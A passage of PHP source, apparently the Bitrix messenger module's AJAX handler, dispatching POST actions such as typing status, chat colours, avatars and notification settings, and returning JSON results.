		'TEXTAREA_ICON' => \Bitrix\Im\App::getListForJs(),
		'ERROR' => ''
	));
}
else if ($_POST['IM_START_WRITING'] == 'Y')
{
	$errorMessage = "";
	CIMMessenger::StartWriting($_POST['DIALOG_ID'], false, "", false, $_POST['OL_SILENT'] == 'Y');

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_DESKTOP_LOGOUT'] == 'Y')
{
	$errorMessage = "";

	CIMMessenger::SetDesktopStatusOffline();
	CIMContactList::SetOffline();

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_SET_COLOR'] == 'Y')
{
	$errorMessage = "";

	$_POST['CHAT_ID'] = intval($_POST['CHAT_ID']);

	if ($_POST['CHAT_ID'] > 0)
	{
		$userId = $USER->GetId();
		if (CIMChat::GetGeneralChatId() == intval($_POST['CHAT_ID']) && !CIMChat::CanSendMessageToGeneralChat($userId))
		{
			$errorMessage = GetMessage('IM_ACCESS_ERROR');
		}
		else
		{
			$chat = new CIMChat();
			$chat->SetColor($_POST['CHAT_ID'], $_POST['COLOR']);
		}
	}
	else
	{
		CIMStatus::SetColor($USER->GetId(), $_POST['COLOR']);
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'COLOR' => $_POST['COLOR'],
		'CHAT_ID' => $_POST['CHAT_ID'],
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_GET_MOBILE_CHAT_AVATAR'] == 'Y')
{
	$avatar = "";
	$errorMessage = "";

	if ($_POST['CHAT_ID'] > 0)
	{
		$chat = new CIMChat();
		$arChat = CIMChat::GetChatData(array(
			'ID' => $_POST['CHAT_ID'],
			'USE_CACHE' => 'N',
			'PHOTO_SIZE' => '500',
			'USER_ID' => intval($USER->GetId())
		));
		$arResult['CHAT'] = $arChat['chat'][$_POST['CHAT_ID']];
		if ($arResult['CHAT'])
		{
			$avatar = $arResult['CHAT']['avatar'] == '/bitrix/js/im/images/blank.gif'? '': $arResult['CHAT']['avatar'];
		}
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'AVATAR' => $avatar,
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_SETTING_SAVE'] == 'Y')
{
	$errorMessage = "";

	$arSettings = CUtil::JsObjectToPhp($_POST['SETTINGS']);

	CIMSettings::SetSetting(CIMSettings::SETTINGS, $arSettings);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_SETTINGS_SAVE'] == 'Y')
{
	$errorMessage = "";

	$arSettings = CUtil::JsObjectToPhp($_POST['SETTINGS']);

	$arOldSettings = CUserOptions::GetOption('im', CIMSettings::SETTINGS, Array());
	if ($arOldSettings['notifyScheme'] == 'expert' && $arSettings['notifyScheme'] == 'simple')
	{
		$arNotifyValues = CIMSettings::GetSimpleNotifyBlocked();
		$arSettings['notify'] = Array();
		foreach ($arNotifyValues as $settingName => $value)
		{
			$arSettings['notify'][CIMSettings::CLIENT_SITE.'|'.$settingName] = false;
			$arSettings['notify'][CIMSettings::CLIENT_XMPP.'|'.$settingName] = false;
			$arSettings['notify'][CIMSettings::CLIENT_MAIL.'|'.$settingName] = false;
		}
	}

	if (array_key_exists('notify', $arSettings))
	{
		CIMSettings::Set(CIMSettings::NOTIFY, $arSettings['notify']);
		unset($arSettings['notify']);
	}
	CIMSettings::Set(CIMSettings::SETTINGS, $arSettings);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_SETTINGS_NOTIFY_LOAD'] == 'Y')
{
	$errorMessage = "";

	$arSettings = CIMSettings::Get();
	$arNotifyNames = CIMSettings::GetNotifyNames();

	echo \Bitrix\Im\Common::objectEncode(Array(
		'NAMES' => $arNotifyNames,
		'VALUES' => $arSettings['notify'],
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_SETTINGS_SIMPLE_NOTIFY_LOAD'] == 'Y')
{
	$errorMessage = "";

	$arNotifyNames = CIMSettings::GetNotifyNames();
	$arNotifyValues = CIMSettings::GetSimpleNotifyBlocked(true);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'NAMES' => $arNotifyNames,
		'VALUES' => $arNotifyValues,
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_DISK_ACTIVATE_PUBLIC_LINK'] == 'Y')
{
	CIMDisk::SetEnabledExternalLink($_POST['STATUS'] == 'Y');

	echo \Bitrix\Im\Common::objectEncode(Array(
		'NAMES' => $arNotifyNames,
		'VALUES' => $arNotifyValues,
		'ERROR' => $errorMessage
	));
}
else
{
	echo \Bitrix\Im\Common::objectEncode(Array('ERROR' => GetMessage('IM_UNKNOWN_ERROR')));
}

CMain::FinalActions();
die();